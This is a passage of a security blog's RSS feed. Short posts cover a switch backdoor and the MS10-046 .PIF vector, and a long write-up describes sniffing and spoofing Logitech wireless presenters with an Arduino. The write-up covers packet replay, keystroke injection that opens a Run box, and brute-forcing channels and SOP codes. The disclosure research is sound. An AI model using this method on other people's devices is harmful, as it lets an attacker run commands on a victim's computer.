<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7971789192074433033</atom:id><lastBuildDate>Tue, 12 Aug 2025 21:36:11 +0000</lastBuildDate><category>security</category><category>vulnerability</category><category>HAR 2009</category><category>DECT</category><category>arduino</category><category>exploit</category><category>exploitation</category><category>hitb</category><category>presenters</category><category>reversible encryption</category><category>sniffing</category><category>WPAD</category><category>classic</category><category>dedected</category><category>exploit development</category><category>CiscoWorks</category><category>Grabit</category><category>MS06-046</category><category>TFTP</category><category>XSS</category><category>afluisteren</category><category>directory traversal</category><category>firefox</category><category>google</category><category>greasemonkey</category><category>lnk</category><category>malware</category><category>oracle</category><category>phpbb</category><category>pif</category><category>sql injection</category><category>squirrelmail</category><category>telefonie</category><category>zen cart</category><title>blog.teusink.net</title><description>About security, pentesting and everything else</description><link>http://blog.teusink.net/</link><managingEditor>noreply@blogger.com (Niels Teusink)</managingEditor><generator>Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7939272624012435737</guid><pubDate>Thu, 02 Sep 2010 19:05:00 +0000</pubDate><atom:updated>2010-09-02T21:05:58.218+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>When bugs are forgotten</title><description>Last year, at HAR2009, there was a &lt;a href=&quot;https://har2009.org/program/events/103.en.html&quot;&gt;presentation&lt;/a&gt; about reverse engineering switch firmware. The researchers had found there is a backdoor password in some Accton-based switches (which are sold by several manufacturers, such as 3Com). It was a very nice piece of reverse engineering.&lt;br /&gt;
&lt;br /&gt;
After the presentation I occasionally checked the manufacturer website to see when a patch would show up, but it never did. In fact the vulnerability was never picked up by the security community. I have a vulnerable device (a 3com 3812 gigabit switch) and started to &lt;a href=&quot;http://attrition.org/pipermail/vim/2010-September/002416.html&quot;&gt;complain&lt;/a&gt;. So here it is, more than a year later, a &lt;a href=&quot;http://www.exploit-db.com/exploits/14875/&quot;&gt;&amp;gt;365-day exploit&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It&#39;s hard to say which switches are vulnerable and which are not. It certainly doesn&#39;t mean that if you have a 3Com device it is vulnerable, but you can check yourself using the exploit code. Vulnerability scanners will start detecting it soon and time will tell I guess. In the meantime, you could disable all management interfaces and manage your switches using a console cable.</description><link>http://blog.teusink.net/2010/09/when-bugs-are-forgotten.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6878225044167210042</guid><pubDate>Mon, 02 Aug 2010 17:47:00 +0000</pubDate><atom:updated>2010-08-02T19:47:48.888+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">lnk</category><category domain="http://www.blogger.com/atom/ns#">MS06-046</category><category domain="http://www.blogger.com/atom/ns#">pif</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Why MS10-046 mentions my name</title><description>Some people have asked me why Microsoft credits me in &lt;a href=&quot;http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx&quot;&gt;MS10-046&lt;/a&gt; (a.k.a. the patch for the lnk bug). In version 1.0 of the &lt;a href=&quot;http://www.microsoft.com/technet/security/advisory/2286198.mspx&quot;&gt;original advisory&lt;/a&gt; they only mentioned .LNK files as an attack vector. When playing around with the bug and the published &lt;a href=&quot;http://www.exploit-db.com/exploits/14403/&quot;&gt;exploit code&lt;/a&gt;, I discovered the vulnerability could also be exploited with .PIF files (MS-DOS shortcuts). This was the case even after applying the workaround (disabling the display of icons on lnk files). So I contacted the &lt;a href=&quot;http://www.microsoft.com/security/msrc/default.aspx&quot;&gt;MSRC&lt;/a&gt;, they updated the workaround and were kind enough to credit me for the additional attack vector.</description><link>http://blog.teusink.net/2010/08/why-ms10-046-mentions-my-name.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6605260994478534912</guid><pubDate>Sun, 04 Jul 2010 12:29:00 +0000</pubDate><atom:updated>2010-07-04T14:29:56.647+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arduino</category><category domain="http://www.blogger.com/atom/ns#">exploitation</category><category domain="http://www.blogger.com/atom/ns#">hitb</category><category domain="http://www.blogger.com/atom/ns#">presenters</category><title>Hacking wireless presenters with an Arduino and Metasploit</title><description>I gave a presentation this week at &lt;a href=&quot;http://conference.hitb.org/hitbsecconf2010ams/&quot;&gt;Hack in the Box&lt;/a&gt; in Amsterdam about hacking wireless presenters (slides &lt;a href=&quot;http://conference.hitb.org/hitbsecconf2010ams/materials&quot;&gt;here&lt;/a&gt;. My demo showed how I could abuse vulnerabilities in the product to get a Metasploit payload on to the PC of someone using a wireless presenter, by just sending keystrokes to it. This article describes how I did it and why you may be at risk if you use any wireless input device (such as a wireless mouse).&lt;br /&gt;
&lt;br /&gt;
At lot of security research has been done on wireless keyboards in the last couple of years. 27Mhz keyboards were attacked successfully and can be sniffed using a &lt;a href=&quot;http://www.remote-exploit.org/?page_id=187&quot;&gt;home-built device&lt;/a&gt;. The same researchers took on modern 2.4Ghz devices as well at the end of &lt;a href=&quot;https://www.dreamlab.net/news-items/keykeriki-2013-universal-keyboard-sniffer-presented&quot;&gt;last year&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
At the beginning of this year, I started to look at the security of wireless presenters. The one I had, a Logitech R-R0001, is a 2.4Ghz presenter. I used it while giving my talk at HAR2009 last summer, so I was curious about the risks involved with its use. When you plug the accompanying USB dongle into your laptop, a new keyboard is detected, you can then use the presenter to control your Powerpoint presentation. So basically a wireless presenter is just a wireless keyboard with only a couple of buttons. For example: If you press the &#39;next slide&#39; button, the computer the dongle simulates a page-down keystroke and Powerpoint displays the next slide. On of the things that worried me was: could someone in the audience send a &#39;next slide&#39; command to the dongle in order to go to the next slide before I wanted to do so? Or worse: could he send random keystrokes to my laptop (after all, the device is a keyboard!). Wouldn&#39;t it be fun if you could make a random message appear on Steve Jobs&#39; (or Steve Ballmer&#39;s) screen when he&#39;s giving his latest keynote? Needless to say doing so may be a criminal offence in your country.&lt;br /&gt;
&lt;br /&gt;
In short: yes you can. Someone in the audience can control the slides and can send any keystroke you want to the victim, as if they were sitting at the keyboard. You can build a device to do this using an &lt;a href=&quot;http://arduino.cc/&quot;&gt;Arduino&lt;/a&gt; and a wireless module for about €30.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcPTzqSL2ttZrfTxLqv6Ent_n_9R0G9J0c_rgeTJydjLcQLz9jIjyPv87sGmv8GbRQ5wcMknWjzPZeRIzN8JFsfZyw1U3Rz6LjxKla1RdOqfJehY5KFaN5q39BULrGeB0ukhgKUTGDleuU/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcPTzqSL2ttZrfTxLqv6Ent_n_9R0G9J0c_rgeTJydjLcQLz9jIjyPv87sGmv8GbRQ5wcMknWjzPZeRIzN8JFsfZyw1U3Rz6LjxKla1RdOqfJehY5KFaN5q39BULrGeB0ukhgKUTGDleuU/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The R-R0001 presenter&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Reverse engineering the hardware&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I started my research by simply opening up the presenter device. When looking at the IC&#39;s (&#39;chips&#39;) on the circuit board I quickly noticed a &lt;a href=&quot;http://www.cypress.com/?rID=14284&quot;&gt;CYRF6936&lt;/a&gt; IC. The &#39;RF&#39; is quite a hint that this is a radio-related chip. When googling the number I came across the manufacturers site. This IC is made by Cypress Semiconductors and is common in 2.4Ghz systems. It operates on the 2.4Ghz band but the technology used is not Bluetooth or WiFi. Cypress invented their own proprietary wireless protocol (&#39;WirelessUSB&#39;). Sniffers for this kind of system are rather expensive or not freely available, so I decided to see if I could build my own.&lt;br /&gt;
&lt;br /&gt;
Not all presenters are based on this IC. You may also see (for example) the &lt;a href=&quot;http://www.nordicsemi.com/index.cfm?obj=product&amp;amp;act=display&amp;amp;pro=89&quot;&gt;nRF24L01&lt;/a&gt; in some devices (this is the IC the remote-exploit.org research was focussed on). Another popular one is the &lt;a href=&quot;http://focus.ti.com/docs/prod/folders/print/cc2500.html&quot;&gt;TI/Chipcon CC2500&lt;/a&gt;. For now, I decided to focus on Cypress-based devices.&lt;br /&gt;
&lt;br /&gt;
I also opened up the dongle, which contains (as expected) the same IC, along with a simple Cypress processor. Opening up the device is not always necessary, most devices list an FCC ID on the label which you can enter on the &lt;a href=&quot;http://www.fcc.gov/oet/ea/fccid/&quot;&gt;FCC site&lt;/a&gt;. You can find documents there detailing the FCC approval of the device for use in the United States, including internal photographs and in some cases schematics and block diagrams. The FCC ID for the R-R0001 is H4IPR24RF002, the manufacturer code belongs to Lite-on Technology Corp.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDA5zGsJaMC9N5Jk4uTVcrua9QOdh4o2nxc4TDa_vBLdICDDtZA7X7L700WI8K-MT9LhqUy_73Nup1LTOUbN3GrPagwLHf8JxkGA2AXbbVGtnp_2-StzzuYYLyiU5ArWaT5OmYF2esWklm/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDA5zGsJaMC9N5Jk4uTVcrua9QOdh4o2nxc4TDa_vBLdICDDtZA7X7L700WI8K-MT9LhqUy_73Nup1LTOUbN3GrPagwLHf8JxkGA2AXbbVGtnp_2-StzzuYYLyiU5ArWaT5OmYF2esWklm/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The side of the dongle with the CYRF6936 radio&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcMxYFsxEwO4Nx_4u_9SXpvFxJR2Vchiv0PLLfn0y4eIA6cnHq62g583GcBn5NVha-YGnU4XclmBsUG4vyZa3C9yUoi5lMK4QS_XV2nw4yYnMAx2G5vCXOL7ivDUorkwBdFVCsIchiHRFG/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcMxYFsxEwO4Nx_4u_9SXpvFxJR2Vchiv0PLLfn0y4eIA6cnHq62g583GcBn5NVha-YGnU4XclmBsUG4vyZa3C9yUoi5lMK4QS_XV2nw4yYnMAx2G5vCXOL7ivDUorkwBdFVCsIchiHRFG/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The side of the dongle with the processor&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
The processor communicates with the CYRF6936 and instructs it to send or receive packets. The command set for the CYRF6936 is actually quite simple: you can either read from or write to configuration registers. So to send a packet you set a couple of parameters (channel, mode etc.) and write the packet contents to some register. This communication uses a serial bus protocol called SPI (Serial Peripheral Interface).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidc6sIp2Sw8ftzDzDHkEEsQt2L07NdrLbcu69LUFyMl8bIjOyel5lS7K0aCjD1CS4yvOq8tJAY1Kmv5kSSK263LOeB1VUOxQuu0hfoLgptLCD5XsxdxX2yyjwIGGTE_s2xNZVB2jihZvt8/s1600/blockdiagram.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidc6sIp2Sw8ftzDzDHkEEsQt2L07NdrLbcu69LUFyMl8bIjOyel5lS7K0aCjD1CS4yvOq8tJAY1Kmv5kSSK263LOeB1VUOxQuu0hfoLgptLCD5XsxdxX2yyjwIGGTE_s2xNZVB2jihZvt8/s320/blockdiagram.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;A rough block diagram of the presenter dongle&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
So I decided to try and intercept the traffic, by just buying a CYRF6936 IC, connecting it to an Arduino and set it to listen to packets. One of the problems I realized at an early stage was that the CYRF6936 has a lot of configurable parameters (channel, transmit mode, preamble, SOP-code etc.). This makes it quite hard to create a universal sniffer as it would constantly have to hop between a lot of possibilities. For example the SOP (Start Of Packet) code is an 8-byte setting. If the SOP-code of the sender and receiver don&#39;t match no packets will be received. Brute-forcing an 8-byte value over the air is impractical, and you would have to do it for all one-hundred channels, all four packet-modes etc. etc. etc.&lt;br /&gt;
&lt;br /&gt;
Hardware reverse engineering is the way to go here. I decided to try and sniff the SPI bus communication between the processor and CYRF6936 on the circuit board of the dongle. The leads on the CYRF6936 are quite tiny so they are hard to probe, but the processor is of a more convenient size and easy to put an IC clip on (which I already owned). The pin-out is freely available on the internet. You could also probe the processor on the presenter, but it is somewhat harder because the IC is smaller.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sniffing the bus&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The SPI bus uses four wires: MISO, MOSI, SCK and SS. The MISO and MOSI wires contain data (one wire for receiving, the other for sending), the other two do not contain data but are necessary for proper communication. Wikipedia has a good article on &lt;a href=&quot;http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus&quot;&gt;SPI&lt;/a&gt; if you want some more information.&lt;br /&gt;
&lt;br /&gt;
I hadn&#39;t done any SPI bus sniffing before but knew I would need a logic analyser to do so. I didn&#39;t own one but ordered a USBee SX from a web-shop in Germany for €100. This is a USB-based logic analyser which uses the PC to interpret and display the data. The software that comes with it has built-in support for decoding SPI. The software gives you a really nice low-level view of the communication (ones and zeroes or bytes) but if you buy a license for the &#39;pro&#39; version, you can also look at decoded and interpreted data (register reads and writes in our case) with the Packet Presenter. Some alternatives are made by &lt;a href=&quot;http://www.zeroplus.com.tw/logic-analyser_en/products.php&quot;&gt;Zeroplus&lt;/a&gt; and &lt;a href=&quot;http://www.saleae.com/&quot;&gt;Saleae&lt;/a&gt;. There is even an open source logic analyser available from &lt;a href=&quot;http://dangerousprototypes.com/open-logic-sniffer/&quot;&gt;Dangerous Prototypes&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWNLqwipdQxLlPh5Ks-fATY6QXsjhO1LlkunoYKSoZnO8LqoOkmOTRVMJ5UYGEStN6y583ojoRnMoV9j200p6cnwwkDRx6rO3TCQPPTLa1l0D8RU12kVkDm24L4OrLEjkzJSI4PBNOdd2h/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWNLqwipdQxLlPh5Ks-fATY6QXsjhO1LlkunoYKSoZnO8LqoOkmOTRVMJ5UYGEStN6y583ojoRnMoV9j200p6cnwwkDRx6rO3TCQPPTLa1l0D8RU12kVkDm24L4OrLEjkzJSI4PBNOdd2h/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The R-R0001 dongle with the USBee SX logic analyser attached to the processor (four wires for SPI, one for GND)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikDSC4ivNfA4FBC-yXxSBXsL3m55WEhWJlMS-OTogB00S70yFx_7Wg53eE06IWg2TvdaerZL93XXhj9T0y_Sm7UqVf2ojhyphenhyphenVxnjBbtpBc9anzehVz71IzRI69qOWKFdG7mbL58fP1tLzP8/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikDSC4ivNfA4FBC-yXxSBXsL3m55WEhWJlMS-OTogB00S70yFx_7Wg53eE06IWg2TvdaerZL93XXhj9T0y_Sm7UqVf2ojhyphenhyphenVxnjBbtpBc9anzehVz71IzRI69qOWKFdG7mbL58fP1tLzP8/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;SPI traffic in the USBee interface&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
The USBee website has an example Packet Presenter file which can be used to decode CYRF6936 traffic. They only implemented a couple of the 44 registers, but with a lot of typing and datasheet reading, I completed the file with the capability to interpret all registers.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9N6kzam1MsG9F1kb0zlSsoXhFEeJtmZ-C9V-7DEa_La0VbNsqXYBa4uKtcn57A2_kndvA7xURC1TC4CwOEjnSP42VXiFMfAw-I4jXN9nntT5DCCh-NuYYdglwM9La6AtSbvGcNjchfelj/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9N6kzam1MsG9F1kb0zlSsoXhFEeJtmZ-C9V-7DEa_La0VbNsqXYBa4uKtcn57A2_kndvA7xURC1TC4CwOEjnSP42VXiFMfAw-I4jXN9nntT5DCCh-NuYYdglwM9La6AtSbvGcNjchfelj/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;Some SPI traffic displayed in the Packet Presenter&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
The next step is actually sniffing the data, which is not that hard once you get the hang of it. Then you can use the Cypress datasheet and development guides to see what all of those registers. Some have obvious names, such as CHANNEL_ADR, others are more cryptic (FRAMING_CFG_ADR and MODE_OVERRIDE_ADR for example).&lt;br /&gt;
&lt;br /&gt;
By looking the intercepted traffic between the processor and the CYRF6936, I found out how the processor configures the IC (channel, SOP code etc.) and was able to create a compatible device using my Arduino. For the CYRF6936 I used a Unigen module (as recommended &lt;a href=&quot;http://sites.google.com/site/mrdunk/interfacing-cypress-cyrf6936-to-avr-microcontrollers&quot;&gt;here&lt;/a&gt;) which can be bought at Digikey for €11.99. With this device I could listen in on the communication between the presenter and the dongle and quickly started to notice patterns. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaIsNRCjrFpLhl0bK2w162jKGIf_UxqbBkR7QrtuDN7uAtkjX1IVVNJSW4t3ungc2c6UteCr-Kxd8tUL8VC-NQVMZ16AFKP2RrqHxRj91gQqczQwYBjhPjVB-GYHVl_3refvckMYwxseBp/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaIsNRCjrFpLhl0bK2w162jKGIf_UxqbBkR7QrtuDN7uAtkjX1IVVNJSW4t3ungc2c6UteCr-Kxd8tUL8VC-NQVMZ16AFKP2RrqHxRj91gQqczQwYBjhPjVB-GYHVl_3refvckMYwxseBp/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The prototype setup: an Adruino connected to a Unigen Leto-M module. The breadboard has some resistors to connect the 5V Arduino to the 3.3V Module&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
For example: when I pressed the &#39;next slide&#39; button the following packets are sent:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;45 4E&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;41 00&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The &#39;previous slide&#39; button sends the following packets:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;45 4B&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;41 00&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWYhfyxN3AfNcu6ZgdB22sVRve_9f5xohaktAebBTLSjrqWWd6UZS6-6-m7mCZf0mCca4xGWonVMdWTNiDGQLvzouGUcRIVQ5FHQmVNV43gBetrLbXlxZN6qe94VlzkfuzYT7tsESrsHGV/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWYhfyxN3AfNcu6ZgdB22sVRve_9f5xohaktAebBTLSjrqWWd6UZS6-6-m7mCZf0mCca4xGWonVMdWTNiDGQLvzouGUcRIVQ5FHQmVNV43gBetrLbXlxZN6qe94VlzkfuzYT7tsESrsHGV/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The software receiving packets &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
I then modified the code to enable the transmission of packets (which took a lot of debugging). I replayed the packets I observed going over the air and was able to send a &#39;next slide&#39; command! By when I changed the first packet to 45 0E, the letter &#39;k&#39; appeared on my screen; it was possible to send custom keystrokes! After a bit of googling I found out that 0E and 4E are standard &lt;a href=&quot;http://www.win.tue.nl/%7Eaeb/linux/kbd/scancodes-14.html&quot;&gt;USB scancodes&lt;/a&gt; for those two keys so it&#39;s easy to look up any key you want. The 41 00 packet is a key-up event. Some more googling I found out that you can use modifiers such as Shift, Alt and Control and also the &#39;Windows&#39; key. I tried sending Win+R and a &#39;Run&#39; box appeared on my screen. This means if you put this dongle in your PC, I can send it keystrokes and execute commands!&lt;br /&gt;
&lt;br /&gt;
Of course I cheated there, I intercepted how the processor prepares the CYRF6936. A different presenter will be configured in a different way (so they won&#39;t interfere with each other).&lt;br /&gt;
&lt;br /&gt;
So I bought a different Logitech presenter, an &lt;a href=&quot;http://www.logitech.com/en-us/remotes/presentation-remote/devices/5993&quot;&gt;R400&lt;/a&gt;, which was first introduced in August 2009. This radio in this one turns out to be a &lt;a href=&quot;http://www.cypress.com/?rID=14286&quot;&gt;CYRF69103&lt;/a&gt; (instead of a CYRF6936). The CYRF69103 is a&amp;nbsp; &#39;Programmable Radio on Chip&#39;, meaning you don&#39;t need a separate processor (it&#39;s basically two IC&#39;s in one chip package). This posed a problem as I wanted to sniff the communication between the processor and the radio, but if these are both in one IC you cannot sniff the bus. The CYRF69103 is however compatible with the CYRF6936, although this is not very well documented.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxruxJCzyX2M4zWeoq5d6YhAG6OJ81Ab5r1ctQyz7FCPKCpM_CWXG_uQRahDZYcmii3AZn48o6mi8mk05MT3t2oU8S7le4Yn7LXag1e7hKv63FruCU9lgL3LkRrRqt3yRdj8zKbWbLwlz/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxruxJCzyX2M4zWeoq5d6YhAG6OJ81Ab5r1ctQyz7FCPKCpM_CWXG_uQRahDZYcmii3AZn48o6mi8mk05MT3t2oU8S7le4Yn7LXag1e7hKv63FruCU9lgL3LkRrRqt3yRdj8zKbWbLwlz/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The Logitech R400 wireless presenter&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
If you program the CYRF69103, you still communicate via SPI with the radio, everything just happens within the package. Lucky for us: for debugging purposed this SPI interface is also exposed to the outside (for debugging or connecting another SPI-based device). So I traced the pins on the CYRF69103 and found out these are connected to some test pads on the circuit board of the R400 presenter. So I soldered a couple of wires to the test pads to gain easy access to the SPI bus with the logic analyser. I found out this device is pretty similar to the R-R0001 presenter. The only thing configured differently were the channel and the SOP-code. The SOP-codes of my R-R0001 and R400 presenters are both mentioned in the datasheet as one of eleven examples. In some cases, Cypress seems to call these &#39;sub-channels&#39;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-01gvmf829PrXviRik7-bdUXQjVKMsPlCZ5nS2xqRMnSHv90zfrKuGLM-ofuSUukjHGvB-xOqwvteyPR0KHQbeHgVwDivpWY6cg97GGHEqQegokHdhLaWPKv9BEhhlx4DBPBJ2qRayI6Q/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-01gvmf829PrXviRik7-bdUXQjVKMsPlCZ5nS2xqRMnSHv90zfrKuGLM-ofuSUukjHGvB-xOqwvteyPR0KHQbeHgVwDivpWY6cg97GGHEqQegokHdhLaWPKv9BEhhlx4DBPBJ2qRayI6Q/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The R400 presenter circuit board with some wires soldered to it so it can be connected to the logic analyser. The crocodile clips are connected to the two batteries as I had to remove the original battery compartment to gain easy access.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
So by simply cycling through the 98 channels and 11 SOP-codes (so 1078 combinations) I could send keystrokes to both the R-R0001 and R400, pretty easy.&lt;br /&gt;
